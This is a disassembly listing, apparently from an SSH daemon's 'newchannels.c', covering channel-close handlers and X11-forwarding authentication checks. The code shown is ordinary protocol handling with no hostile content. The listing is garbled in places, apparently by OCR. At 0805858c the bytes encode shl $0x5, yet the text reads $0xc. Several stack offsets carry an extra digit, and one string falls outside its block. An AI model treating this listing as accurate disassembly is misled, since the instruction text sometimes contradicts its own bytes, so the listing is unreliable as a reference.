0805850f   e9 00 fd ff ff              jmp     08058214 <Unknown0182>  ;-768 'x0 xfd xff xff' ""
08058514   55                          push    %ebp
08058515   89 e5                       mov     %esp,%ebp
08058517   53                          push    %ebx
08058518   52                          push    %edx
08058519   e8 e6 e1 ff ff              call    08056704 <Unknown0151>
0805851e   89 c3                       mov     %eax,%ebx
08058520   85 db                       test    %ebx,%ebx
08058522   78 1d                       js      08058541 <Unknown0188+0x81>
08058524   3b 1d 4c 7e 07 08           cmp     0x8077e4c,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805852a   7d 15                       jge     08058541 <Unknown0188+0x81>
0805852c   c1 e0 05                    shl     $0x5,%eax
0805852f   01 d8                       add     %ebx,%eax
08058531   8b 15 48 7e 07 08           mov     0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08058537   8d 04 43                    lea     (%ebx,%eax,2),%eax
0805853a   8b 04 82                    mov     (%edx,%eax,4),%eax
0805853d   85 c0                       test    %eax,%eax
0805853f   75 17                       jne     08058558 <Unknown0188+0x98>
08058541   83 ec 08                    sub     $0x8,%esp
08058544   53                          push    %ebx
08058545   68 80 1f 07 08              push    $0x8071f80  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                             ieof for nonexistent channel %d."
0805854a   e8 91 e2 ff ff              call    080567e0 <Unknown0157>
0805854f   83 c4 10                    add     $0x10,%esp
08058552   8b 15 48 7e 07 08           mov     0x8077e48,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08058558   89 d8                       mov     %ebx,%eax
0805855a   c1 e0 05                    shl     $0x5,%eax
0805855d   01 d8                       add     %ebx,%eax
0805855f   8d 04 43                    lea     (%ebx,%eax,2),%eax
08058562   83 ec 0c                    sub     $0xc,%esp
08058565   8d 04 82                    lea     (%edx,%eax,4),%eax
08058568   50                          push    %eax
08058569   e8 de fe ff ff              call    0805844c <Unknown0187>
0805856e   8b 5d fc                    mov     0xfffffffc(%ebp),%ebx
```

```
08058571  c9                              leave
08058572  c3                              ret
08058573  90                              nop


  ;
  ; >--------------------< Subroutine # 189 >--------------------<
  ;
08058574 <Unknown0189>:
08058574  55                              push    %ebp
08058575  89 e5                           mov     %esp,%ebp
08058577  53                              push    %ebx
08058578  53                              push    %ebx
08058579  e8 86 e1 ff ff                  call    08056704 <Unknown0151>
0805857e  89 c3                           mov     %eax,%ebx
08058580  85 db                           test    %ebx,%ebx
08058582  78 1d                           js      080585a1 <Unknown0189+0x2d>
08058584  3b 1d 4c 7e 07 08               cmp     0x8077e4c,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805858a  7d 15                           jge     080585a1 <Unknown0189+0x2d>
0805858c  c1 e0 05                        shl     $0xc,%eax
0805858f  01 d8                           add     %ebx,%eax
08058591  8b 15 48 7e 07 08               mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058597  8d 04 43                        lea     (%ebx,%eax,2),%eax
0805859a  8b 0c 82                        mov     (%edx,%eax,4),%ecx
0805859d  85 c9                           test    %ecx,%ecx
0805859f  75 17                           jne     080585b8 <Unknown0189+0x44>
080585a1  83 ec 08                        sub     $0x8,%esp
080585a4  53                              push    %ebx
080585a5  68 c0 1f 07 08                  push    $0x8071fc0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                               oclosed for nonexistent channel %d."
080585aa  e8 31 e2 ff ff                  call    080567e0 <Unknown0157>
080585af  83 c4 10                        add     $0x10,%esp
080585b2  8b 15 48 7e 07 08               mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080585b8  89 d8                           mov     %ebx,%eax
080585ba  c1 e0 05                        shl     $0x5,%eax
080585bd  01 d8                           add     %ebx,%eax
080585bf  8d 04 43                        lea     (%ebx,%eax,2),%eax
080585c2  83 ec 0c                        sub     $0xc,%esp
080585c5  8d 04 82                        lea     (%edx,%eax,4),%eax
080585c8  50                              push    %eax
080585c9  e8 f2 fe ff ff                  call    080584c0 <Unknown0188>
080585ce  8b 5d fc                        mov     0xfffffffc(%ebp),%ebx
080585d1  c9                              leave
080585d2  c3                              ret
080585d3  90                              nop


  ;
  ; >--------------------< Subroutine # 190 >--------------------<
  ;
080585d4 <Unknown0190>:
080585d4  55                              push    %ebp
080585d5  89 e5                           mov     %esp,%ebp
080585d7  56                              push    %esi
080585d8  53                              push    %ebx
080585d9  83 ec 0c                        sub     $0xc,%esp
080585dc  8b 5d 08                        mov     0x8(%ebp),%ebx
080585df  68 ed 1f 07 08                  push    $0x8071fed   ;[in .rodata] 1819635013 'x45 x6d x75 x6c' "Emulated
                                                               close."
080585e4  e8 97 77 ff ff                  call    0804fd80 <Unknown0039>
080585e9  e8 16 e1 ff ff                  call    08056704 <Unknown0151>
080585ee  89 c6                           mov     %eax,%esi
080585f0  83 c4 10                        add     $0x10,%esp
080585f3  85 f6                           test    %esi,%esi
080585f5  78 1d                           js      08058614 <Unknown0190+0x40>
080585f7  3b 35 4c 7e 07 08               cmp     0x8077e4c,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
080585fd  7d 15                           jge     08058614 <Unknown0190+0x40>
080585ff  c1 e0 05                        shl     $0x5,%eax
08058602  01 f0                           add     %esi,%eax
08058604  8b 15 48 7e 07 08               mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805860a  8d 04 46                        lea     (%esi,%eax,2),%eax
0805860d  8b 04 82                        mov     (%edx,%eax,4),%eax
08058610  85 c0                           test    %eax,%eax
08058612  75 17                           jne     0805862b <Unknown0190+0x57>
08058614  83 ec 08                        sub     $0x8,%esp
08058617  56                              push    %esi
08058618  68 00 20 07 08                  push    $0x8072000   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                               emulated_close for nonexistent channel %d."
0805861d  e8 be e1 ff ff                  call    080567e0 <Unknown0157>
08058622  83 c4 10                        add     $0x10,%esp
08058625  8b 15 48 7e 07 08               mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805862b  85 db                           test    %ebx,%ebx
0805862d  74 11                           je      08058640 <Unknown0190+0x6c>
0805862f  89 f0                           mov     %esi,%eax
```

```
08058631   c1 e0 05                  shl     $0x5,%eax
08058634   01 f0                     add     %esi,%eax
08058636   8d 04 46                  lea     (%esi,%eax,2),%eax
08058639   83 4c 82 10 40            orl     $0x40,0x10(%edx,%eax,4)
0805863e   eb 12                     jmp     08058652 <Unknown0190+0x7e>
08058640   89 f0                     mov     %esi,%eax
08058642   c1 e0 05                  shl     $0x5,%eax
08058645   01 f0                     add     %esi,%eax
08058647   8d 04 46                  lea     (%esi,%eax,2),%eax
0805864a   81 4c 82 10 80 00 00 00   orl     $0x80,0x10(%edx,%eax,4)  ;128 'x80 x0 x0 x0' ""
08058652   89 f3                     mov     %esi,%ebx
08058654   c1 e3 05                  shl     $0x5,%ebx
08058657   01 f3                     add     %esi,%ebx
08058659   8d 1c 5e                  lea     (%esi,%ebx,2),%ebx
0805865c   c1 e3 02                  shl     $0x2,%ebx
0805865f   89 d8                     mov     %ebx,%eax
08058661   83 ec 0c                  sub     $0xc,%esp
08058664   03 05 48 7e 07 08         add     0x8077e48,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805866a   50                        push    %eax
0805866b   e8 dc fd ff ff            call    0805844c <Unknown0187>
08058670   03 1d 48 7e 07 08         add     0x8077e48,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058676   89 5d 08                  mov     %ebx,0x8(%ebp)
08058679   83 c4 10                  add     $0x10,%esp
0805867c   8d 65 f8                  lea     0xfffffff8(%ebp),%esp
0805867f   5b                        pop     %ebx
08058680   5e                        pop     %esi
08058681   5d                        pop     %ebp
08058682   e9 39 fe ff ff            jmp     080584c0 <Unknown0188>   ;-455 'x39 xfe xff xff' "9"
08058687   90                        nop


   ;
   ; >---------------------<   Subroutine # 191 >---------------------<
   ;
08058688 <Unknown0191>:
08058688   55                        push    %ebp
08058689   89 e5                     mov     %esp,%ebp
0805868b   57                        push    %edi
0805868c   56                        push    %esi
0805868d   53                        push    %ebx
0805868e   31 c0                     xor     %eax,%eax
08058690   81 ec 2c 01 00 00         sub     $0x12c,%esp   ;300 'x2c x1 x0 x0' ","
08058696   3b 05 4c 7e 07 08         cmp     0x8077e4c,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805869c   c7 85 e0 fe ff ff 00 00 00 00  movl    $0x0,0xfffffee0(%ebp)   ;0 'x0 x0 x0 x0' ""
080586a6   0f 8d fc 03 00 00         jge     08058aa8 <Unknown0191+0x420>   ;1020 'xfc x3 x0 x0' ""
080586ac   8b 85 e0 fe ff ff         mov     0xfffffee0(%ebp),%eax   ;-288 'xe0 xfe xff xff' ""
080586b2   c1 e0 05                  shl     $0x5,%eax
080586b5   8b 95 e0 fe ff ff         mov     0xfffffee0(%ebp),%edx   ;-288 'xe0 xfe xff xff' ""
080586bb   03 85 e0 fe ff ff         add     0xfffffee0(%ebp),%eax   ;-288 'xe0 xfe xff xff' ""
080586c1   8d 04 42                  lea     (%edx,%eax,2),%eax
080586c4   8b 15 48 7e 07 08         mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080586ca   8d 04 82                  lea     (%edx,%eax,4),%eax
080586cd   89 85 dc fe ff ff         mov     %eax,0xfffffedc(%ebp)   ;-292 'xdc xfe xff xff' ""
080586d3   8b 8d dc fe ff ff         mov     0xfffffedc(%ebp),%ecx   ;-292 'xdc xfe xff xff' ""
080586d9   8b 01                     mov     (%ecx),%eax
080586db   83 f8 0a                  cmp     $0xa,%eax
080586de   0f 87 ac 03 00 00         ja      08058a90 <Unknown0191+0x408>   ;940 'xac x3 x0 x0' ""
080586e4   ff 24 85 f0 21 07 08      jmp     *0x80721f0(,%eax,4)   ;[in .rodata] 134580880 'x90 x8a x5 x8' ""
080586eb   90                        nop
080586ec   8b 85 dc fe ff ff         mov     0xfffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
080586f2   8b 50 04                  mov     0x4(%eax),%edx
080586f5   89 d0                     mov     %edx,%eax
080586f7   83 e0 1f                  and     $0x1f,%eax
080586fa   c1 ea 05                  shr     $0x5,%edx
080586fd   8b 4d 08                  mov     0x8(%ebp),%ecx
08058700   0f ab 04 91               bts     %eax,(%ecx,%edx,4)
08058704   e9 87 03 00 00            jmp     08058a90 <Unknown0191+0x408>   ;903 'x87 x3 x0 x0' ""
08058709   8d 76 00                  lea     0x0(%esi),%esi
0805870c   8b 85 dc fe ff ff         mov     0xfffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
08058712   83 ec 0c                  sub     $0xc,%esp
08058715   83 c0 14                  add     $0x14,%eax
08058718   50                        push    %eax
08058719   e8 2a d3 ff ff            call    08055a48 <Unknown0119>
0805871e   89 c3                     mov     %eax,%ebx
08058720   e8 53 e4 ff ff            call    08056b78 <Unknown0165>
08058725   d1 e8                     shr     %eax
08058727   83 c4 10                  add     $0x10,%esp
0805872a   39 c3                     cmp     %eax,%ebx
0805872c   73 2e                     jae     0805875c <Unknown0191+0xd4>
0805872e   8b 95 dc fe ff ff         mov     0xfffffedc(%ebp),%edx   ;-292 'xdc xfe xff xff' ""
08058734   8b 42 10                  mov     0x10(%edx),%eax
08058737   a9 01 00 00 00            test    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805873c   75 27                     jne     08058765 <Unknown0191+0xdd>
0805873e   8b 52 04                  mov     0x4(%edx),%edx
```

```
08058741  89 d0                      mov     %edx,%eax
08058743  83 e0 1f                   and     $0x1f,%eax
08058746  c1 ea 05                   shr     $0x5,%edx
08058749  8b 4d 08                   mov     0x8(%ebp),%ecx
0805874c  0f ab 04 91                bts     %eax,(%ecx,%edx,4)
08058750  8b 95 dc fe ff ff          mov     0xffffffedc(%ebp),%edx    ;-292 'xdc xfe xff xff' ""
08058756  8b 42 10                   mov     0x10(%edx),%eax
08058759  eb 0a                      jmp     08058765 <Unknown0191+0xdd>
0805875b  90                         nop
0805875c  8b 8d dc fe ff ff          mov     0xffffffedc(%ebp),%ecx    ;-292 'xdc xfe xff xff' ""
08058762  8b 41 10                   mov     0x10(%ecx),%eax
08058765  83 e0 02                   and     $0x2,%eax
08058768  0f 85 22 03 00 00          jne     08058a90 <Unknown0191+0x408>   ;802 'x22 x3 x0 x0' """
0805876e  8b 85 dc fe ff ff          mov     0xffffffedc(%ebp),%eax    ;-292 'xdc xfe xff xff' ""
08058774  83 ec 0c                   sub     $0xc,%esp
08058777  83 c0 24                   add     $0x24,%eax
0805877a  50                         push    %eax
0805877b  e8 c8 d2 ff ff             call    08055a48 <Unknown0119>
08058780  83 c4 10                   add     $0x10,%esp
08058783  85 c0                      test    %eax,%eax
08058785  74 1d                      je      080587a4 <Unknown0191+0x11c>
08058787  8b 85 dc fe ff ff          mov     0xffffffedc(%ebp),%eax    ;-292 'xdc xfe xff xff' ""
0805878d  8b 50 04                   mov     0x4(%eax),%edx
08058790  89 d0                      mov     %edx,%eax
08058792  83 e0 1f                   and     $0x1f,%eax
08058795  c1 ea 05                   shr     $0x5,%edx
08058798  8b 4d 0c                   mov     0xc(%ebp),%ecx
0805879b  0f ab 04 91                bts     %eax,(%ecx,%edx,4)
0805879f  e9 ec 02 00 00             jmp     08058a90 <Unknown0191+0x408>   ;748 'xec x2 x0 x0' ""
080587a4  8b 85 dc fe ff ff          mov     0xffffffedc(%ebp),%eax    ;-292 'xdc xfe xff xff' ""
080587aa  f6 40 10 08                testb   $0x8,0x10(%eax)
080587ae  0f 84 dc 02 00 00          je      08058a90 <Unknown0191+0x408>   ;732 'xdc x2 x0 x0' ""
080587b4  83 ec 0c                   sub     $0xc,%esp
080587b7  50                         push    %eax
080587b8  e9 cb 02 00 00             jmp     08058a88 <Unknown0191+0x400>   ;715 'xcb x2 x0 x0' ""
080587bd  8d 76 00                   lea     0x0(%esi),%esi
080587c0  8b 9d dc fe ff ff          mov     0xffffffedc(%ebp),%ebx    ;-292 'xdc xfe xff xff' ""
080587c6  83 ec 0c                   sub     $0xc,%esp
080587c9  83 c3 24                   add     $0x24,%ebx
080587cc  53                         push    %ebx
080587cd  e8 76 d2 ff ff             call    08055a48 <Unknown0119>
080587d2  83 c4 10                   add     $0x10,%esp
080587d5  83 f8 0b                   cmp     $0xb,%eax
080587d8  0f 86 b2 02 00 00          jbe     08058a90 <Unknown0191+0x408>   ;690 'xb2 x2 x0 x0' ""
080587de  83 ec 0c                   sub     $0xc,%esp
080587e1  53                         push    %ebx
080587e2  e8 25 d3 ff ff             call    08055b0c <Unknown0123>
080587e7  89 c3                      mov     %eax,%ebx
080587e9  8a 03                      mov     (%ebx),%al
080587eb  83 c4 10                   add     $0x10,%esp
080587ee  3c 42                      cmp     $0x42,%al
080587f0  75 2a                      jne     0805881c <Unknown0191+0x194>
080587f2  0f b6 43 06                movzbl  0x6(%ebx),%eax
080587f6  0f b6 53 07                movzbl  0x7(%ebx),%edx
080587fa  c1 e0 08                   shl     $0x8,%eax
080587fd  01 d0                      add     %edx,%eax
080587ff  89 85 d8 fe ff ff          mov     %eax,0xffffffed8(%ebp)    ;-296 'xd8 xfe xff xff' ""
08058805  0f b6 43 08                movzbl  0x8(%ebx),%eax
08058809  0f b6 53 09                movzbl  0x9(%ebx),%edx
0805880d  c1 e0 08                   shl     $0x8,%eax
08058810  01 d0                      add     %edx,%eax
08058812  89 85 d4 fe ff ff          mov     %eax,0xffffffed4(%ebp)    ;-300 'xd4 xfe xff xff' ""
08058818  eb 46                      jmp     08058860 <Unknown0191+0x1d8>
0805881a  89 f6                      mov     %esi,%esi
0805881c  3c 6c                      cmp     $0x6c,%al
0805881e  75 2c                      jne     0805884c <Unknown0191+0x1c4>
08058820  0f b6 43 07                movzbl  0x7(%ebx),%eax
08058824  0f b6 53 06                movzbl  0x6(%ebx),%edx
08058828  c1 e0 08                   shl     $0x8,%eax
0805882b  8d 04 10                   lea     (%eax,%edx,1),%eax
0805882e  89 85 d8 fe ff ff          mov     %eax,0xffffffed8(%ebp)    ;-296 'xd8 xfe xff xff' ""
08058834  0f b6 43 09                movzbl  0x9(%ebx),%eax
08058838  0f b6 53 08                movzbl  0x8(%ebx),%edx
0805883c  c1 e0 08                   shl     $0x8,%eax
0805883f  8d 04 10                   lea     (%eax,%edx,1),%eax
08058842  89 85 d4 fe ff ff          mov     %eax,0xffffffed4(%ebp)    ;-300 'xd4 xfe xff xff' ""
08058848  eb 16                      jmp     08058860 <Unknown0191+0x1d8>
0805884a  89 f6                      mov     %esi,%esi
0805884c  83 ec 08                   sub     $0x8,%esp
0805884f  0f b6 03                   movzbl  (%ebx),%eax
08058852  50                         push    %eax
08058853  68 40 20 07 08             push    $0x8072040     ;[in .rodata] 1953066569 'x49 x6e x69 x74' "Initial X11
                                                            packet contains bad byte order byte: 0x%x"
08058858  e9 a9 00 00 00             jmp     08058906 <Unknown0191+0x27e>   ;169 'xa9 x0 x0 x0' ""
```

```
0805885d  8d 76 00                lea     0x0(%esi),%esi
08058860  8b 85 dc fe ff ff       mov     0xffffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
08058866  83 ec 0c                sub     $0xc,%esp
08058869  83 c0 24                add     $0x24,%eax
0805886c  50                      push    %eax
0805886d  e8 d6 d1 ff ff          call    08055a48 <Unknown0119>
08058872  8b 8d d8 fe ff ff       mov     0xffffffed8(%ebp),%ecx   ;-296 'xd8 xfe xff xff' ""
08058878  8b 95 d4 fe ff ff       mov     0xffffffed4(%ebp),%edx   ;-300 'xd4 xfe xff xff' ""
0805887e  83 c1 03                add     $0x3,%ecx
08058881  83 c2 03                add     $0x3,%edx
08058884  83 e1 fc                and     $0xfffffffc,%ecx
08058887  83 e2 fc                and     $0xfffffffc,%edx
0805888a  8d 54 0a 0c             lea     0xc(%edx,%ecx,1),%edx
0805888e  83 c4 10                add     $0x10,%esp
08058891  39 d0                   cmp     %edx,%eax
08058893  89 8d d0 fe ff ff       mov     %ecx,0xffffffed0(%ebp)   ;-304 'xd0 xfe xff xff' ""
08058899  0f 82 f1 01 00 00       jb      08058a90 <Unknown0191+0x408>   ;497 'xf1 x1 x0 x0' ""
0805889f  a1 64 7e 07 08          mov     0x8077e64,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080588a4  89 85 cc fe ff ff       mov     %eax,0xffffffecc(%ebp)   ;-308 'xcc xfe xff xff' ""
080588aa  89 c7                   mov     %eax,%edi
080588ac  fc                      cld
080588ad  31 c0                   xor     %eax,%eax
080588af  b9 ff ff ff ff          mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080588b4  f2 ae                   repnz scas %es:(%edi),%al
080588b6  f7 d1                   not     %ecx
080588b8  49                      dec     %ecx
080588b9  39 8d d8 fe ff ff       cmp     %ecx,0xffffffed8(%ebp)   ;-296 'xd8 xfe xff xff' ""
080588bf  75 1d                   jne     080588de <Unknown0191+0x256>
080588c1  8b 8d d8 fe ff ff       mov     0xffffffed8(%ebp),%ecx   ;-296 'xd8 xfe xff xff' ""
080588c7  8d 73 0c                lea     0xc(%ebx),%esi
080588ca  8b bd cc fe ff ff       mov     0xffffffecc(%ebp),%edi   ;-308 'xcc xfe xff xff' ""
080588d0  39 c9                   cmp     %ecx,%ecx
080588d2  f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
080588d4  0f 97 c2                seta    %dl
080588d7  0f 92 c0                setb    %al
080588da  38 c2                   cmp     %al,%dl
080588dc  74 42                   je      08058920 <Unknown0191+0x298>
080588de  83 bd d8 fe ff ff 64    cmpl    $0x64,0xffffffed8(%ebp)   ;-296 'xd8 xfe xff xff' ""
080588e5  76 0a                   jbe     080588f1 <Unknown0191+0x269>
080588e7  c7 85 d8 fe ff ff 64 00 00 00  movl  $0x64,0xffffffed8(%ebp)  ;100 'x64 x0 x0 x0' "d"
080588f1  8d 43 0c                lea     0xc(%ebx),%eax
080588f4  50                      push    %eax
080588f5  ff b5 d8 fe ff ff       pushl   0xffffffed8(%ebp)   ;-296 'xd8 xfe xff xff' ""
080588fb  ff b5 cc fe ff ff       pushl   0xffffffecc(%ebp)   ;-308 'xcc xfe xff xff' ""
08058901  68 80 20 07 08          push    $0x8072080   ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                        connection uses different authentication protocol:
                                                        '%.100s' vs. '%.*s'."
08058906  e8 75 74 ff ff          call    0804fd80 <Unknown0039>
0805890b  8b 95 dc fe ff ff       mov     0xffffffedc(%ebp),%edx   ;-292 'xdc xfe xff xff' ""
08058911  c7 02 04 00 00 00       movl    $0x4,(%edx)   ;4 'x4 x0 x0 x0' ""
08058917  83 c4 10                add     $0x10,%esp
0805891a  e9 a1 00 00 00          jmp     080589c0 <Unknown0191+0x338>   ;161 'xa1 x0 x0 x0' ""
0805891f  90                      nop
08058920  8b 8d d4 fe ff ff       mov     0xffffffed4(%ebp),%ecx   ;-300 'xd4 xfe xff xff' ""
08058926  3b 0d 28 01 08 08       cmp     0x8080128,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0805892c  75 1e                   jne     0805894c <Unknown0191+0x2c4>
0805892e  03 9d d0 fe ff ff       add     0xffffffed0(%ebp),%ebx   ;-304 'xd0 xfe xff xff' ""
08058934  8d 73 0c                lea     0xc(%ebx),%esi
08058937  8b 3d 70 7e 07 08       mov     0x8077e70,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
0805893d  fc                      cld
0805893e  39 c9                   cmp     %ecx,%ecx
08058940  f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
08058942  0f 97 c2                seta    %dl
08058945  0f 92 c0                setb    %al
08058948  38 c2                   cmp     %al,%dl
0805894a  74 20                   je      0805896c <Unknown0191+0x2e4>
0805894c  83 ec 0c                sub     $0xc,%esp
0805894f  68 e0 20 07 08          push    $0x80720e0   ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11 auth
                                                        data does not match fake data."
08058954  e8 27 74 ff ff          call    0804fd80 <Unknown0039>
08058959  8b 85 dc fe ff ff       mov     0xffffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
0805895f  c7 00 04 00 00 00       movl    $0x4,(%eax)   ;4 'x4 x0 x0 x0' ""
08058965  83 c4 10                add     $0x10,%esp
08058968  eb 56                   jmp     080589c0 <Unknown0191+0x338>
0805896a  89 f6                   mov     %esi,%esi
0805896c  8b 95 d4 fe ff ff       mov     0xffffffed4(%ebp),%edx   ;-300 'xd4 xfe xff xff' ""
08058972  3b 15 6c 7e 07 08       cmp     0x8077e6c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058978  74 1a                   je      08058994 <Unknown0191+0x30c>
0805897a  68 08 21 07 08          push    $0x8072108   ;[in .rodata] 1851877475 'x63 x68 x61 x6e'
                                                        "channel_prepare_select"
0805897f  68 63 03 00 00          push    $0x363   ;867 'x63 x3 x0 x0' "c"
08058984  68 2f 1d 07 08          push    $0x8071d2f   ;[in .rodata] 1668769134 'x6e x65 x77 x63'
                                                        "newchannels.c"
08058989  68 20 21 07 08          push    $0x8072120   ;[in .rodata] 1597059448 'x78 x31 x31 x5f'
```

"x11_fake_data_len ==
x11_saved_data_len"

```
0805898e  e8 39 14 ff ff        call     08049dcc <__assert_fail>
08058993  90                    nop
08058994  56                    push     %esi
08058995  ff b5 d4 fe ff ff     pushl    0xfffffed4(%ebp)  ;-300 'xd4 xfe xff xff' ""
0805899b  ff 35 68 7e 07 08     pushl    0x8077e68  ;[in .data] 0 'x0 x0 x0 x0' ""
080589a1  8d 43 0c              lea      0xc(%ebx),%eax
080589a4  50                    push     %eax
080589a5  e8 92 18 ff ff        call     0804a23c <memcpy>
080589aa  8b 8d dc fe ff ff     mov      0xffffffedc(%ebp),%ecx  ;-292 'xdc xfe xff xff' ""
080589b0  c7 01 04 00 00 00     movl     $0x4,(%ecx)  ;4 'x4 x0 x0 x0' ""
080589b6  83 c4 10              add      $0x10,%esp
080589b9  e9 15 fd ff ff        jmp      080586d3 <Unknown0191+0x4b>  ;-747 'x15 xfd xff xff' ""
080589be  89 f6                 mov      %esi,%esi
080589c0  83 ec 0c              sub      $0xc,%esp
080589c3  6a 00                 push     $0x0
080589c5  e8 c2 16 ff ff        call     0804a08c <time>
080589ca  83 c4 0c              add      $0xc,%esp
080589cd  68 ff 00 00 00        push     $0xff  ;255 'xff x0 x0 x0' ""
080589d2  53                    push     %ebx
080589d3  89 85 e4 fe ff ff     mov      %eax,0xffffffee4(%ebp)  ;-284 'xe4 xfe xff xff' ""
080589d9  8d 85 e4 fe ff ff     lea      0xffffffee4(%ebp),%eax  ;-284 'xe4 xfe xff xff' ""
080589df  50                    push     %eax
080589e0  e8 97 18 ff ff        call     0804a27c <ctime>
080589e5  5a                    pop      %edx
080589e6  59                    pop      %ecx
080589e7  50                    push     %eax
080589e8  8d 9d e8 fe ff ff     lea      0xffffffee8(%ebp),%ebx  ;-280 'xe8 xfe xff xff' ""
080589ee  53                    push     %ebx
080589ef  e8 d8 19 ff ff        call     0804a3cc <strncpy>
080589f4  5f                    pop      %edi
080589f5  58                    pop      %eax
080589f6  6a 0a                 push     $0xa
080589f8  53                    push     %ebx
080589f9  c6 45 e6 00           movb     $0x0,0xffffffe6(%ebp)
080589fd  e8 5a 12 ff ff        call     08049c5c <strchr>
08058a02  83 c4 10              add      $0x10,%esp
08058a05  85 c0                 test     %eax,%eax
08058a07  74 03                 je       08058a0c <Unknown0191+0x384>
08058a09  c6 00 00              movb     $0x0,(%eax)
08058a0c  83 ec 08              sub      $0x8,%esp
08058a0f  6a 0d                 push     $0xd
08058a11  53                    push     %ebx
08058a12  e8 45 12 ff ff        call     08049c5c <strchr>
08058a17  83 c4 10              add      $0x10,%esp
08058a1a  85 c0                 test     %eax,%eax
08058a1c  74 03                 je       08058a21 <Unknown0191+0x399>
08058a1e  c6 00 00              movb     $0x0,(%eax)
08058a21  83 ec 08              sub      $0x8,%esp
08058a24  53                    push     %ebx
08058a25  68 60 21 07 08        push     $0x8072160  ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                     connection rejected because of wrong authentication at
                                                     %.100s."
08058a2a  e8 ed 71 ff ff        call     0804fc1c <Unknown0036>
08058a2f  8b 95 dc fe ff ff     mov      0xffffffedc(%ebp),%edx  ;-292 'xdc xfe xff xff' ""
08058a35  8b 82 04 01 00 00     mov      0x104(%edx),%eax  ;260 'x4 x1 x0 x0' ""
08058a3b  83 c4 10              add      $0x10,%esp
08058a3e  85 c0                 test     %eax,%eax
08058a40  74 10                 je       08058a52 <Unknown0191+0x3ca>
08058a42  56                    push     %esi
08058a43  50                    push     %eax
08058a44  53                    push     %ebx
08058a45  68 c0 21 07 08        push     $0x80721c0  ;[in .rodata] 1701471570 'x52 x65 x6a x65' "Rejected
                                                     connection at %.100s: %.200s"
08058a4a  e8 cd 71 ff ff        call     0804fc1c <Unknown0036>
08058a4f  83 c4 10              add      $0x10,%esp
08058a52  8b 85 dc fe ff ff     mov      0xffffffedc(%ebp),%eax  ;-292 'xdc xfe xff xff' ""
08058a58  83 ec 0c              sub      $0xc,%esp
08058a5b  83 c0 14              add      $0x14,%eax
08058a5e  50                    push     %eax
08058a5f  e8 08 cf ff ff        call     0805596c <Unknown0116>
08058a64  8b 85 dc fe ff ff     mov      0xffffffedc(%ebp),%eax  ;-292 'xdc xfe xff xff' ""
08058a6a  83 c0 24              add      $0x24,%eax
08058a6d  89 04 24              mov      %eax,(%esp,1)
08058a70  e8 f7 ce ff ff        call     0805596c <Unknown0116>
08058a75  59                    pop      %ecx
08058a76  ff b5 dc fe ff ff     pushl    0xffffffedc(%ebp)  ;-292 'xdc xfe xff xff' ""
08058a7c  e8 d7 f8 ff ff        call     08058358 <Unknown0185>
08058a81  5a                    pop      %edx
08058a82  ff b5 dc fe ff ff     pushl    0xffffffedc(%ebp)  ;-292 'xdc xfe xff xff' ""
08058a88  e8 2b f9 ff ff        call     080583b8 <Unknown0186>
08058a8d  83 c4 10              add      $0x10,%esp
```

```
08058a90  ff 85 e0 fe ff ff        incl    0xffffffee0(%ebp)   ;-288 'xe0 xfe xff xff' ""
08058a96  8b 8d e0 fe ff ff        mov     0xffffffee0(%ebp),%ecx   ;-288 'xe0 xfe xff xff' ""
08058a9c  3b 0d 4c 7e 07 08        cmp     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058aa2  0f 8c 04 fc ff ff        jl      080586ac <Unknown0191+0x24>   ;-1020 'x4 xfc xff xff' ""
08058aa8  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08058aab  5b                       pop     %ebx
08058aac  5e                       pop     %esi
08058aad  5f                       pop     %edi
08058aae  5d                       pop     %ebp
08058aaf  c3                       ret


   ;
   ; >--------------------<  Subroutine # 192 >--------------------<
   ;
08058ab0 <Unknown0192>:
08058ab0  55                       push    %ebp
08058ab1  89 e5                    mov     %esp,%ebp
08058ab3  57                       push    %edi
08058ab4  56                       push    %esi
08058ab5  53                       push    %ebx
08058ab6  81 ec 2c 40 00 00        sub     $0x402c,%esp   ;16428 'x2c x40 x0 x0' ",@"
08058abc  8b 0d 4c 7e 07 08        mov     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08058ac2  c7 85 d0 bf ff ff 00 00 00 00  movl   $0x0,0xffffbfd0(%ebp)   ;0 'x0 x0 x0 x0' ""
08058acc  39 8d d0 bf ff ff        cmp     %ecx,0xffffbfd0(%ebp)   ;-16432 'xd0 xbf xff xff' ""
08058ad2  0f 8d 51 04 00 00        jge     08058f29 <Unknown0192+0x479>   ;1105 'x51 x4 x0 x0' "Q"
